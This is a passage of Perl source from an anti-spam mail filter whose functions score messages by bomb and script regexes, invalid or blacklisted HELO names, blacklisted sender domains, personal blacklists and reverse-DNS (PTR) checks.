        	mlog($fh,"$tlit -- $this->{messagereason}") if $DoBombCharSets > 1;
        	pbWhiteDelete($fh,$this->{ip});
        	$this->{charsetsdone}=1;
        	return 1 if $mDoBombCharSets==2;
        	pbWhiteDelete($fh,$this->{ip});
        	$this->{isbomb}=1 if abs $Bombs{sum} >= abs $bombValencePB;
        	pbAdd($fh,$this->{ip},$Bombs{sum},"BombCharSetsMIME");

        	return 0 if $mDoBombCharSets==1 && $Bombs{sum} >= $bombValencePB;
        	return 0 if $mDoBombCharSets == 1 && $maxHits{lc 'bombCharSets'} > 1 && $Bombs{count} >= $maxHits{lc 'bombCharSets'};
    	}
    }
   
    if ($DoBombDataRe) {
    	my $slok=$this->{allLoveBoSpam}==1;
    	
    	my $mDoBombDataRe = &switchMode($fh,$DoBombDataRe,$this->{allLoveBoSpam},$bombTestMode);
		$this->{prepend}="[BombData]";
    	$tlit=&tlit($mDoBombDataRe);

    	
    	%Bombs = &BombWeight($fh,$header,'bombDataRe' );
      	if ($Bombs{count}) {
        	$subre = $Bombs{highnam};
			
        	$this->{messagereason} = "bombDataRe: $subre";
        	$tlit = ($mDoBombDataRe == 1 && $Bombs{sum} < $bombValencePB) ? &tlit(3) : $tlit;
        	$tlit = "[scoring:$Bombs{sum}]" if $mDoBombDataRe == 3;
        	mlog( $fh, "$tlit -- $this->{messagereason}" ) if $mDoBombDataRe > 1;
        	pbWhiteDelete($fh,$this->{ip});
        	return 1 if $mDoBombDataRe==2;
        	pbWhiteDelete($fh,$this->{ip});
        	$this->{isbomb}=1 if abs $Bombs{sum} >= abs $bombValencePB;
        	pbAdd($fh,$this->{ip},$Bombs{sum},"BombData");
        	
        	return 0 if $mDoBombDataRe == 1 && $Bombs{sum} >= $bombValencePB;
        	return 0 if $mDoBombDataRe == 1 && $maxHits{lc 'bombDataRe'} > 1 && $Bombs{count} >= $maxHits{lc 'bombDataRe'};
	  	}	
    }
 
	return 1 if !$DoBombRe; 	
	return 1 if !$bombRe;
	return 1 if !$bombValencePB;
    my $mDoBombRe = 		&switchMode($fh,$DoBombRe,$this->{allLoveBoSpam},$bombTestMode);
	$this->{match}="";
    $this->{prepend}="[BombRe]";
    %Bombs = &BombWeight($fh,\$data,'bombRe' );
    if ($Bombs{count}) {
        $subre = $Bombs{highnam};

        $this->{messagereason} = "bombRe: $subre";
		$tlit = ($mDoBombRe == 1 && $Bombs{sum} < $bombValencePB) ? &tlit(3) : $tlit;
		$tlit = "[scoring:$Bombs{sum}]" if $mDoBombRe == 3;
        mlog( $fh, "$tlit -- $this->{messagereason}" ) if $mDoBombRe > 1;
        pbWhiteDelete($fh,$this->{ip});
        return 1 if $mDoBombRe==2;
        pbWhiteDelete($fh,$this->{ip});
        $this->{isbomb}=1 if $Bombs{sum} >= $bombValencePB;
        $this->{newsletterre} = "" if $Bombs{sum} >= $bombValencePB/2;
        pbAdd($fh,$this->{ip},$Bombs{sum},"BombRe") if $mDoBombRe;
 
        return 0 if $mDoBombRe == 1 && $Bombs{sum} >= $bombValencePB;
        return 0 if $mDoBombRe == 1 && $maxHits{lc 'bombRe'} > 1 && $Bombs{count} >= $maxHits{lc 'bombRe'};

    }
   
    return 1;
}


#
## no critic
#
#
sub BombHeaderOK {
    my ($fh,$headerref) = @_;
    my $this=$Con{$fh};
	return 1 if $this->{notspamtag};
    return 1 if $this->{addressedToSpamBucket};
	return 1 if $this->{bombheaderdone};
	d('BombHeaderOK');
	$this->{bombheaderdone}=1;
    my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    my $helo = $this->{helo};
    $helo = $this->{ciphelo} if $this->{ispip} && $this->{ciphelo};
    my %Bombs;
    my $BombName;
    my $tlit;
    

  	return 1 if $this->{notspamtag};
  	return 1 if $this->{acceptall};
  	return 1 if $this->{whitelisted};
  	return 1 if $this->{noprocessing};
  	return 1 if $this->{relayok};
    return 1 if $this->{ispip} && !$bombReISPIP;
    


    if ($noBombScript && $this->{mailfrom} && matchSL($this->{mailfrom},'noBombScript')) {
        return 1;}
    my $slok=$this->{allLoveBoSpam}==1;

    my $mDoBombSenderRe = 		&switchMode($fh,$DoBombSenderRe,$this->{allLoveBoSpam},$bombTestMode);
    my $subre;
    my $w;
    my $isheaderbomb;

    $tlit=&tlit($mDoBombSenderRe);

    
        
	%Bombs = &BombWeight($fh,"$this->{mailfrom} $ip $helo",'bombSenderRe' ) if $DoBombSenderRe &&  $bombSenderRe;
    if ($Bombs{count}) {
        	$subre = $Bombs{highnam};
    		$this->{prepend}="[BombSender]";
    		$this->{messagereason} = "bombSenderRe: $subre";
			$this->{newsletterre}		= '';
        	pbWhiteDelete($fh,$ip);
			pbAdd($fh,$ip,$Bombs{sum},"BombSender") if $DoBombSenderRe != 2;
			$this->{isbomb} = 1 if $Bombs{sum} >= $bombValencePB;  
        	return 0 if $mDoBombSenderRe == 1 && $Bombs{sum} >= $bombValencePB;
        	$tlit = "[scoring:$Bombs{sum}]" if $DoBombSenderRe == 3;
        	mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" ) ;
        	
    }
	
	
    %Bombs = &BombWeight($fh, $headerref,'bombCharSets' ) if $DoBombCharSets && !$this->{charsetsdone};
    if ($Bombs{count} && $DoBombCharSets) {
    	$this->{newsletterre}		= '';
    	my $mDoBombCharSets = 		&switchMode($fh,$DoBombCharSets,$this->{allLoveBoSpam},$bombTestMode);
        $subre = $Bombs{highnam};
        $this->{messagereason}="bombCharSets: $subre";
        
        $this->{prepend}="[BombCharSets]";

        $tlit = ($mDoBombCharSets == 1 && $Bombs{sum} < $bombValencePB) ? &tlit(3) : $tlit;
        $tlit = "[scoring:$Bombs{sum}]" if  $DoBombCharSets == 3;
  
        pbWhiteDelete($fh,$this->{ip});
        $this->{charsetsdone}=1;

        pbWhiteDelete($fh,$this->{ip}) if $mDoBombCharSets !=2;
        
        $this->{isbomb}=1 if abs $Bombs{sum} >= abs $bombValencePB;
        pbAdd($fh,$this->{ip},$Bombs{sum},"BombCharSets") if $mDoBombCharSets && $mDoBombCharSets !=2;
        return 0 if $mDoBombCharSets !=2 && $mDoBombCharSets==1 && abs $Bombs{sum} >= abs $bombValencePB;
		mlog($fh,"$tlit -- $this->{messagereason}") if $BombLog;

    }
    
 

    my $mDoBombSubjectRe = 		&switchMode($fh,$DoBombSubjectRe,$this->{allLoveBoSpam},$bombTestMode);
   
    if ( $DoBombSubjectRe &&  $bombSubjectRe ) {
		$tlit=&tlit($DoBombSubjectRe);
		
		%Bombs = &BombWeight($fh,substr($this->{subject3},0,160),'bombSubjectRe' );

        if ($Bombs{count}) {
        	$subre = $Bombs{highnam};
    		$this->{prepend}="[BombSubject]";
    		$this->{messagereason} = "bombSubjectRe: $subre";

        	pbWhiteDelete($fh,$ip);
			pbAdd($fh,$ip,$Bombs{sum},"BombSubject") if $DoBombSubjectRe != 2;
			$this->{newsletterre} = "" if $Bombs{sum};
			$this->{isbomb} = 1 if $Bombs{sum} >= $bombValencePB;  
        	return 0 if $mDoBombSubjectRe == 1 && $Bombs{sum} >= $bombValencePB;
        	$tlit = "[scoring:$Bombs{sum}]" if $DoBombSubjectRe == 3;
        	mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" ) if $DoBombSubjectRe > 1;
        	
    	}
  
    }


    my $mDoBombHeaderRe = 		&switchMode($fh,$DoBombHeaderRe,$this->{allLoveBoSpam},$bombTestMode);

    if ( $DoBombHeaderRe &&  $bombHeaderRe ) {
		
   		 %Bombs  = &BombWeight($fh,$headerref,'bombHeaderRe' );	

    	if ($Bombs{count}) {
    		$this->{prepend}="[BombHeader]";
    		$subre = $Bombs{highnam};
    		$this->{messagereason} = "bombHeaderRe: $subre";

        	pbWhiteDelete($fh,$ip) if $mDoBombHeaderRe!=2;
        	pbAdd($fh,$ip,$Bombs{sum},"BombHeader") if $mDoBombHeaderRe!=2;
      		$this->{isbomb}=1 if $Bombs{sum} >= $bombValencePB;
			$this->{newsletterre} = "" if $Bombs{sum};
			return 0 if $mDoBombHeaderRe == 1 && $Bombs{sum} >= $bombValencePB;
			$tlit = "[scoring:$Bombs{sum}]" if $mDoBombHeaderRe == 3;
        	mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" );
        	return 1;
    		}
  	}
    return 1;
}

#
#
#

sub BombBlackOK {
  	my($fh,$headerref)=@_;
  	my $this=$Con{$fh};
	return 1 if !$DoBlackRe;
	return 1 if !$blackRe;
	return 1 if $this->{addressedToSpamBucket};
	return 1 if $this->{notspamtag};
    d('BombBlackOK');
    my $ip = $this->{ip};
  	$ip = $this->{cip} if  $this->{cip};
  	my $helo = $this->{helo};
    $helo = $this->{ciphelo} if  $this->{ciphelo};
	my $data = " $this->{mailfrom} $helo $ip " . substr( $this->{header}, 0, 10000 );

	my $dataref = \$data;

    my $subre;
	my %Bombs;

    if (   $noBombScript
        && $this->{mailfrom}
        && matchSL( $this->{mailfrom}, 'noBombScript' ) )
    {
        return 1;
    }
    return 1 if $this->{acceptall};
    return 1 if $this->{relayok} ;

    return 1 if $this->{whitelisted} && !$blackReWL;
    return 1 if $this->{noprocessing} && !$blackReNP;

    return 1 if $this->{relayok} && !$blackReLocal;
    return 1 if $this->{ispip} && !$blackReISPIP;

    my $slok       = $this->{allLoveBoSpam} == 1;

  	my $mDoBlackRe = 		&switchMode($fh,$DoBlackRe,$this->{allLoveBoSpam},$bombTestMode);
    my $tlit = tlit($mDoBlackRe);
    $this->{prepend}       = "[BlackRe]";
	$this->{match}="";

  	%Bombs = &BombWeight($fh,$dataref,'blackRe' );

  	if ($Bombs{count}) {
	$subre = $Bombs{highnam};
	
    $this->{messagereason} = "blackRe: $subre";
    $this->{prepend}="[BombBlack]"; 
    pbWhiteDelete($fh,$ip) if  $mDoBlackRe !=2;
    pbAdd($fh,$ip,$Bombs{sum},"BlackRe") if  $mDoBlackRe !=2;

    return 0 if $mDoBlackRe == 1 && $Bombs{sum} >= $blackValencePB;
	return 0 if $mDoBlackRe == 1 && $maxHits{lc 'blackRe'} > 1 && $Bombs{count} >= $maxHits{lc 'blackRe'};
    
	$tlit = "[scoring:$Bombs{sum}]" if  $mDoBlackRe !=2;
    mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" );
    return 1;
  }

  return 1;

}

sub ScriptOK {
  my($fh,$dataref)=@_;
  my $this=$Con{$fh};
  d('ScriptOK');
  my %Bombs;

  my $subre;

  my $ip = $this->{ip};
  $ip = $this->{cip} if  $this->{cip};
  return 1 if !$DoScriptRe;
  return 1 if $this->{notspamtag};
  return 1 if $this->{acceptall};
  return 1 if $this->{whitelisted};
  return 1 if $this->{noprocessing};
  return 1 if $this->{relayok};
  return 1 if $this->{ispip} && !$bombReISPIP;
  if ($noBombScript && $this->{mailfrom} && matchSL($this->{mailfrom},'noBombScript')) {
  return 1;}
  my $slok=$this->{allLoveBoSpam}==1;
  my $mDoScriptRe=$DoScriptRe;


  my $tlit=&tlit($mDoScriptRe);
  $this->{prepend}="[ScriptRe]";
  %Bombs = &BombWeight($fh,$dataref,'scriptRe' );
  if ($Bombs{count}) {
    $subre = $Bombs{highnam};
	pbWhiteDelete($fh,$ip);
    $this->{messagereason}=$subre;
    $this->{messagereason}="scriptRe: $subre";
    mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" ) if $mDoScriptRe > 1;
    return 1 if $mDoScriptRe==2;
    $this->{isbomb}=1 if $Bombs{sum} >= $scriptValencePB;
    pbAdd($fh,$ip,$Bombs{sum},"ScriptRe");
    return 1 if $mDoScriptRe==3;


    return 0 if $mDoScriptRe == 1 && $Bombs{sum} >= $scriptValencePB;
    return 0 if $mDoScriptRe == 1 && $maxHits{lc 'scriptRe'} > 1 && $Bombs{count} >= $maxHits{lc 'scriptRe'};

  }

  return 1;
}
#


# do invalid HELO check
sub invalidHeloOK {
    my ( $fh, $helo ) = @_;
    my $this = $Con{$fh};
    d('invalidHeloOK');
	return 1 if $this->{invalidHeloOK};
    return 1 if $this->{addressedToSpamBucket};
 	return 1 if $this->{notspamtag};
    return 1 if $this->{ispip} && !$this->{cip};	    
    my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{cip};
    
	$helo = $this->{ciphelo} if $this->{ciphelo};


#    return 1 if $validPTRRe && $helo =~ $validPTRReRE;
    return 1 if !$DoInvalidFormatHelo;
    return 1 if $this->{relayok};
    return 1 if $heloBlacklistIgnore && $helo =~ $HBIRE;

    return 1 if $this->{nohelo};
    return 1 if $this->{acceptall};
	return 1 if $this->{ispip} && ! $this->{cip};
    return 1 if (($this->{rwlok} && ! $this->{cip}) or ($this->{cip} && pbWhiteFind($this->{cip})));

    #return 1 if $this->{contentonly};
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if $helo =~ /\[?$IPRe\]?/oi;
    my $slok                 = $this->{allLoveHiSpam} == 1;
	

    my $mDoInvalidFormatHelo = 		&switchMode($fh,$DoInvalidFormatHelo,$this->{allLoveHiSpam},$ihTestMode);
    
    my %HELOs = &BombWeight($fh,$helo,'invalidFormatHeloRe' );
    if (   $DoInvalidFormatHelo
        && $invalidFormatHeloRe
        && $HELOs{count} )
    {

        my $tlit = tlit($mDoInvalidFormatHelo);
        $this->{prepend} = "[InvalidHELO]";

        $this->{messagereason} = "invalid HELO: '$helo'";
        my $w = $HELOs{sum};
        $mDoInvalidFormatHelo = 3 if $mDoInvalidFormatHelo == 1 && $w < $ihValencePB;
        $tlit = "[scoring:$w]" if $mDoInvalidFormatHelo == 3;
        mlog( $fh, "$tlit -- $this->{messagereason}" )
          if $ValidateHeloLog && $mDoInvalidFormatHelo == 3
              || $mDoInvalidFormatHelo == 2;
        pbWhiteDelete( $ip );
        return 1 if $mDoInvalidFormatHelo == 2;
        
        
   		pbAdd($fh,$ip,$w,"invalidHELO") ;
   		$this->{blackhelodone} = 1;

        $this->{invalidHeloOK} = 1;
        $this->{suspiciousHeloOK} = 1;
        return 1 if $mDoInvalidFormatHelo == 3 or $w < $ihValencePB;
        return 1 if $helo =~ ( '(' . $validFormatHeloReRE . ')' );
        return 0;
    }
    return 1;
}
sub IPinHeloOK {
    my $fh = shift;
    return 1 if !$DoIPinHelo;
    return IPinHeloOK_Run($fh);
}
sub IPinHeloOK_Run {
    my $fh = shift;
    my $this = $Con{$fh};
    return 1 if $this->{addressedToSpamBucket};
    $fh = 0 if "$fh" =~ /^\d+$/o;
    my $ip = $this->{ip};
    my $helo = $this->{helo};

    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    $helo = $this->{ciphelo} if $this->{ciphelo};
    d('IPinHeloOK');

    return 1 if $this->{IPinHeloOK};
    $this->{IPinHeloOK} = 1;
    my $ipinhelo = $helo =~ /\[?($IPRe)\]?/oi;
    return 1 if $helo eq $ipinhelo;
    return 1 if $helo eq $ip;
    return 1 if $this->{ispip};
    return 1 if &Whitelist($this->{mailfrom});
    return 1 if ( matchIP( $ip, 'noHelo', $fh ) );

    return 1 if $ip =~ /$IPprivate/o;
    return 1 if $heloBlacklistIgnore && $helo =~ /$HBIRE/;
    return 1 if $noProcessing  && matchSL( $this->{mailfrom}, 'noProcessing' );

    my $tlit = tlit($DoIPinHelo);
    my @variants;

    if ( $helo =~ /\[?(?:(?:$IPSectRe(?:\.|\-)){3}$IPSectRe|(?:$IPSectHexRe(?:\.|\-)){3}$IPSectHexRe|$IPv6LikeRe)\]?/o ) {
        pos($helo) = 0;
        while ($helo =~ /\[?((?:$IPSectRe(?:\.|\-)){3}$IPSectRe|(?:$IPSectHexRe(?:\.|\-)){3}$IPSectHexRe|($IPv6LikeRe))\]?/og) {
            my $literal = $1;
            my $isV6 = $2;
            my $sep;
            # replace any - characters with a dot or :
            if ($isV6) {
                $literal =~ s/\-/\:/go;
                $literal = ipv6expand($literal);
                $sep = ':';
            } else {
                $literal =~ s/\-/\./go;
                $literal =~ s/0x([a-fA-F0-9]{1,2})/hex($1)/goe;
                $literal =~ s/([A-F][A-F0-9]?|[A-F0-9]?[A-F])/hex($1)/gioe;
                $sep = '.';
            }

            # remove leading zeros and put it into an array
            my @octets = map {
                if ( !m/^0$/io ) {my $t = $_; $t =~ s/^0*//o; $t }
                else             { 0 }    # properly handle a 0 in the IP
            } split( /\.|\:/o, $literal );

            #put the ip back together
            push @variants, (join $sep, @octets);
            push @variants, (join $sep, reverse(@octets));
        }

        return 1 unless scalar @variants;
        d("saw IP in HELO: @variants");
        my $mr = $this->{messagereason} = "IP in HELO : '$helo'";
        $this->{prepend}       = "[IPinHELO]";
 
        pbAdd( $fh, $ip, $fiphValencePB, 'IPinHELO' ) if $DoIPinHelo != 2;
        $tlit= "[scoring:$fiphValencePB]" if $DoIPinHelo == 3;
        mlog( $fh, "$tlit ($this->{messagereason})", 1 ) if $ValidateSenderLog;
       	$this->{messagereason} = $mr unless $fh;
       
        return 0;
    }

    #the if didn't hit
    return 1;
}



# do blacklisted HELO check
sub HeloBlackOK {
    my ( $fh, $fhelo ) = @_;
    my $this = $Con{$fh};
    d('HeloBlackOK');
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{blackhelodone};

	
  	my $ip = $this->{ip};
  	$ip = $this->{cip} if $this->{ispip} && $this->{cip};
  	my $helo = lc($fhelo);
  	$helo = lc($this->{ciphelo}) if $this->{ispip} && $this->{ciphelo};


    return 1 if !$useHeloBlacklist;
    return 1 if $this->{relayok};
  	return 1 if $this->{whitelisted};
 	return 1 if $this->{noprocessing};
  	return 1 if $this->{nohelo};
  	return 1 if $this->{ispip} && ! $this->{cip};
  	return 1 if $this->{rwlok} && ! $this->{cip};


    return 1 if $heloBlacklistIgnore && $helo =~ $HBIRE;

    my $museHeloBlacklist = $useHeloBlacklist;
    my $tlit = tlit($museHeloBlacklist);
    $this->{prepend} = "[BlackHELO]";

    #$this->{prepend} .= "[$tlit]" if $museHeloBlacklist >= 2;
    $this->{messagereason} = "blacklisted HELO '$helo'";
    $tlit = "[scoring:$hlValencePB]" if $museHeloBlacklist == 3;
    if ( $HeloBlackObject && $HeloBlack{ $helo } or $HeloBlackCumObject && $HeloBlackCum{ $helo }) {
        mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" )
          if $ValidateHeloLog && $museHeloBlacklist == 3
              || $museHeloBlacklist == 2;
        pbWhiteDelete( $fh, $ip );
        $HeloBlackCum{ $helo } = time if exists $HeloBlackCum{ $helo };
        return 1 if $museHeloBlacklist == 2;
        $this->{formathelodone} = 1;
        $this->{blackhelodone} = 1;
        pbAdd( $fh, $ip, $hlValencePB, "BlacklistedHelo" );
        return 1 if $museHeloBlacklist == 3;

    }
    return 1;
}

# do blacklisted domains check
sub BlackDomainOK {

    my $fh = shift;
    my $this = $Con{$fh};
    my %Bombs;
    
    d('BlackDomainOK');
    return 1 if $this->{notspamtag};
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{BlackDomainOK};
    $this->{BlackDomainOK} = 1;
	return 1 if !$this->{mailfrom};
    return 1 if !$DoBlackDomain;
    return 1 if $this->{relayok};
    return 1 if $this->{whitelisted} && !$DoBlackDomainWL;
    return 1 if $this->{noprocessing} && !$DoBlackDomainNP;
    return 1 if $noBlackDomain 
		&& matchSL( $this->{mailfrom}, 'noBlackDomain' );
    
    my $ip = $this->{ip};
  	$ip = $this->{cip} if $this->{cip};
  	
  	my %senders;
  	my $blValencePB = ${'blValencePB'}[0];
  	my $blValencePBIP = ${'blValencePB'}[1];
  	

  	my $adr = lc $this->{mailfrom};
  	$adr = batv_remove_tag($fh,$this->{mailfrom},'');
  	$senders{$adr} = 1;
  	$adr = $1 if ($adr =~ /^prvs=\d\d\d\d\w{6}=(.*)/);
    $senders{$adr} = 1;
    while ( $this->{header} =~ /\n(from|sender|reply-to|errors-to|list-\w+):.*?($EmailAdrRe\@$EmailDomainRe)/igo ) {
    	my $s = $2;
        $s = $1 if ($s =~ /^prvs=\d\d\d\d\w{6}=(.*)/);
        $senders{lc $s}=1;
    } 
    $this->{senders} = join( ' ', keys %senders ) . " "; 

    my $slok           = $this->{allLoveBlSpam} == 1;

    my $mDoBlackDomain = 		&switchMode($fh,$DoBlackDomain,$this->{allLoveBlSpam},$blTestMode);
	my $subre;
	my $ret;
    my $tlit = tlit($mDoBlackDomain);
    
    my ($mfd) = lc $this->{mailfrom} =~ /\@($EmailDomainRe)$/o;
  	if ($blackListedDomains && (($ValidateSPF && exists $SPFCache{"0.0.0.0 $mfd"}) || $this->{mailfrom}=~/($BLDRE)/ || @{$this->{senders}} ~~ /($BLDRE)/)) {
    $this->{messagereason} = $1 ? "blacklisted domain '$1'" : "blacklisted domain '$mfd' (by SPF-record)";
    $this->{prepend}="[BlackDomain]";
    mlog($fh,"$tlit ($this->{messagereason})") if $ValidateSenderLog && $DoBlackDomain==3 || $DoBlackDomain==2;
	pbWhiteDelete($fh,$ip);
    return 1 if $DoBlackDomain==2;
    pbAdd($fh,$ip,'blValencePB','BlacklistedDomain') ;
    return 1 if $DoBlackDomain==3;
    return 0;
  	}
	my ($slmatch,$w);

    foreach my $adr ( split( " ", $this->{senders} ) ) {
    	($slmatch,$w) = &HighWeightSL($adr, 'weightedAddresses');

    	last if $w ;
    }

    if ($w) {

		return 1 if $this->{noprocessing} && $w < $blValencePB;
		return 1 if $this->{whitelisted}  && $w < $blValencePB;
		my $bw = "black" if $w >= $blValencePB;
		$bw = "blackish" if $w >= 0 && $w < $blValencePB;
		$bw = "whitish" if $w < 0;
        $this->{messagereason} = $bw." address '$slmatch'";
 
        $this->{prepend} = "[weightedAddresses]";
        $tlit = "[scoring:$w]" if $mDoBlackDomain != 2;
        mlog( $fh, "$tlit -- $this->{messagereason}" );

        pbWhiteDelete( $fh, $ip );
    
        pbAdd($fh,$ip,$w,"$bw",1) if $mDoBlackDomain != 2;

        
        return 0 if $mDoBlackDomain == 1 && $w >= $blValencePB;


  

    } 
    if ($blackListedDomains && $this->{mailfrom}=~/($BLDRE)/ ) {
    	$this->{messagereason}="blacklisted domain '$1'";
    	$this->{prepend}="[BlackDomain]";
    	$tlit = "[scoring:$blValencePB]" if $mDoBlackDomain != 2;
    	mlog($fh,"$tlit ($this->{messagereason})") if $ValidateSenderLog && $mDoBlackDomain==3 || $mDoBlackDomain==2;
		pbWhiteDelete($fh,$ip);
    	return 1 if $mDoBlackDomain==2;
    	pbAdd($fh,$ip,$blValencePB,"BlacklistedDomain") ;
    	$this->{blackdomainscore}=1;
    	return 1 if $mDoBlackDomain==3;
    	return 0 if $mDoBlackDomain==1;

    }
    if (!$NotGreedyBlackDomain && $this->{senders}) {
     foreach my $adr ( split( " ", $this->{senders} ) ) {


    	if ($blackListedDomains && $adr =~/($BLDRE)/ ) {
    		$this->{messagereason}="blacklisted domain '$1'";
    		$this->{prepend}="[BlackDomain]";
    		$tlit = "[scoring:$blValencePB" if $mDoBlackDomain != 2;
    		mlog($fh,"$tlit ($this->{messagereason})") if $ValidateSenderLog && 	$mDoBlackDomain==3 || $mDoBlackDomain==2;
			pbWhiteDelete($fh,$ip);
    		return 1 if $mDoBlackDomain==2;
    		pbAdd($fh,$ip,$blValencePB,"BlacklistedDomain") ;
    		return 1 if $mDoBlackDomain==3;
    		return 0 if $mDoBlackDomain==1;
    	
	
    	return 0;
    	}
    
    }}
    
    return 1;
}


# do blacklisted domains check
sub PersonalBlackDomainOK {

    my $fh = shift;
    my $this = $Con{$fh};
    my %Bombs;
 
    d('PersonalBlackDomainOK');
    return 1 if $this->{notspamtag};
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{PersonalBlackDomainOK};
    $this->{PersonalBlackDomainOK} = 1;
	return 1 if !$this->{mailfrom};
	return 1 if $this->{whitelisted} && !$DoBlackDomainWL;
    return 1 if $this->{noprocessing} && !$DoBlackDomainNP;

    return 1 if $this->{relayok};

    return 1 if $noBlackDomain 
		&& matchSL( $this->{mailfrom}, 'noBlackDomain' );
    
    my $ip = $this->{ip};
  	$ip = $this->{cip} if $this->{cip};
  	
  	my %senders;
  	my $adr = lc $this->{mailfrom};
  	$adr = batv_remove_tag($fh,$this->{mailfrom},'');
  	$senders{$adr} = 1;
  	$adr = $1 if ($adr =~ /^prvs=\d\d\d\d\w{6}=(.*)/);
    $senders{$adr} = 1;
    while ( $this->{header} =~ /\n(from|sender|reply-to|errors-to|list-\w+):.*?($EmailAdrRe\@$EmailDomainRe)/igo ) {
    	my $s = $2;
        $s = $1 if ($s =~ /^prvs=\d\d\d\d\w{6}=(.*)/);
        $senders{lc $s}=1;
    } 
    $this->{senders} = join( ' ', keys %senders ) . " "; 

    my $slok           = $this->{allLoveBlSpam} == 1;

    my $mDoBlackDomain = 		&switchMode($fh,$DoBlackDomain,$this->{allLoveBlSpam},$blTestMode);
	my $subre;
	my $ret;
    my $tlit = tlit($mDoBlackDomain);
	my ($slmatch,$w);
	$this->{prepend} = "[PersonalBlack]";
	
	
    foreach my $adr ( split( " ", $this->{senders} ) ) {

		my ($mfd) = $adr =~ /\@(.*)/;
		my $all = "*@" . $mfd;

		my ($to) = $this->{rcpt} =~ /(\S+)/;
		my ($tod) = $this->{rcpt} =~ /\@(.*)/;
		my ($todd) = $this->{rcpt} =~ /(\@.*)/;
		$todd = "*$todd";

		if ( $PersBlack{ "*,$adr"}  ) {
            $PersBlack{lc "*,$adr"} = time;
            $this->{messagereason}="rejected by personal blacklist: '*,$adr'";
            return 0;
        }

        if ( exists $PersBlack{lc "$to,$adr"} ) {
            $PersBlack{lc "$to,$adr"} = time;

            $this->{messagereason}="rejected by personal blacklist: '$to,$adr'";
            return 0;
        }

	
    }
    return 1;
}




sub PTROK {

    my $fh = shift;
    my $this = $Con{$fh};
    return 1 if $this->{addressedToSpamBucket};

    d('PTROK');

    my $ip = $this->{ip};
    $ip = $this->{cip} if  $this->{cip};
    return 1 if !$DoPTRCheck;
    return 1 if !$CanUseDNS;

    return 1 if $this->{ispip} && !$this->{cip};
    $this->{noblockingips} = 1 if matchIP( $ip, 'noBlockingIPs', 0, 1 );
    return 1 if $this->{noblockingips};
	return 1 if $this->{contentonly} && !$this->{cip};
    return 1 if $this->{relayok} ;


    #return 1 if $this->{contentonly};
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if pbWhiteFind( $ip );
    return 1 if PTRCacheFind( $ip ) == 2 && !$whitePTRRe;
   
    my $slok = $this->{allLovePTRSpam} == 1;


    my $mDoPTRCheck = $DoPTRCheck;		


    my $tlit = tlit($mDoPTRCheck);
    $this->{prepend} = "[PTRmissing]";


    if ( PTRCacheFind($ip) == 1 ) {
		$tlit = "[scoring:$ptmValencePB]" if $mDoPTRCheck == 3;
        $this->{messagereason} = "PTR missing";
        mlog( $fh, "$tlit ($this->{messagereason})" )
          if $mDoPTRCheck == 3 || $mDoPTRCheck == 2;
        return 1 if $mDoPTRCheck == 2;
        pbAdd( $fh, $ip, $ptmValencePB, "PTRmissing" );
        pbWhiteDelete( $fh, $ip );
        return 1 if $mDoPTRCheck == 3;
        $Stats{ptrMissing}++ unless $slok;
        return 0;
    }
    if ( PTRCacheFind($ip) == 2 ) {
    
    	my ( $ct, $status, $ptrdsn) = split( " ", $PTRCache{$ip} );

        if (   $ptrdsn
            
            && $whitePTRRe
            && $whitePTRReRE != ""
            && $ptrdsn =~ $whitePTRReRE)
        {
            $this->{messagereason} = "PTR whitelisted '$ptrdsn'";
            $this->{prepend}       = "[PTRwhite]";

            mlog( $fh, "$this->{messagereason}" );

            pbWhiteAdd( $fh, $ip );
			$this->{noprocessing} = 1;
			$this->{passingreason} = "PTR $ptrdsn whitelisted";
            return 1;
        }
    }

    if ( $DoPTRCheckInvalid && PTRCacheFind($ip) == 3 ) {
    
    	my ( $ct, $status, $ptrdsn) = split( " ", $PTRCache{$ip} );

        if (   $ptrdsn
            && $DoPTRCheckInvalid
            && $invalidPTRRe
            && $invalidPTRReRE != ""
            && $ptrdsn =~ $invalidPTRReRE
            && $ptrdsn !~ $validPTRReRE )
        {
            $this->{messagereason} = "PTR invalid '$this->{ptrdsn}'";
            $this->{prepend}       = "[PTRinvalid]";
            $tlit = "[scoring:$ptiValencePB]" if $mDoPTRCheck == 3;
            mlog( $fh, "$tlit ($this->{messagereason})" )
              if $DoPTRCheck == 3 || $DoPTRCheck == 2;
            return 1 if $DoPTRCheck == 2;
            pbAdd( $fh, $ip, $ptiValencePB, "PTRinvalid" );
            pbWhiteDelete( $fh, $ip );
            return 1 if $DoPTRCheck == 3;
            $Stats{ptrInvalid}++ unless $slok;
            return 0;
        }
    }

    my $res = Net::DNS::Resolver->new(
        nameservers => \@nameservers,
    		tcp_timeout => $DNStimeout,
            udp_timeout => $DNStimeout,
            retrans     => $DNSretrans,
            retry       => $DNSretry
    );
	getRes('force', $res);
    my $ip_address = $ip;
	my $query;
	my $socket;
    if ($ip_address) {

        $query = eval { $res->search( $ip_address, 'PTR' ); };
        if ($@) {
        	mlog( $fh, "error: $@" );
        	PTRCacheAdd( $ip, 2 ); 
        	return 1;
        	}
        if ($query) {
            foreach my $rr ( $query->answer ) {
                next unless $rr->type eq "PTR";
                $this->{ptrdsn} = $rr->ptrdname;
                if (   $this->{ptrdsn}
            
            		&& $whitePTRRe

            		&& $this->{ptrdsn} =~ $whitePTRReRE)
        		{
            		$this->{messagereason} = "PTR whitelisted '$this->{ptrdsn}'";
            		$this->{prepend}       = "[PTRwhite]";

            		mlog( $fh, "$this->{messagereason}" );

            		pbWhiteAdd( $fh, $ip );
					$this->{noprocessing} = 1;
					$this->{passingreason} = "PTR $this->{ptrdsn} whitelisted";
					PTRCacheAdd( $ip, 2, $this->{ptrdsn} );
            		return 1;
        		}
                return 1
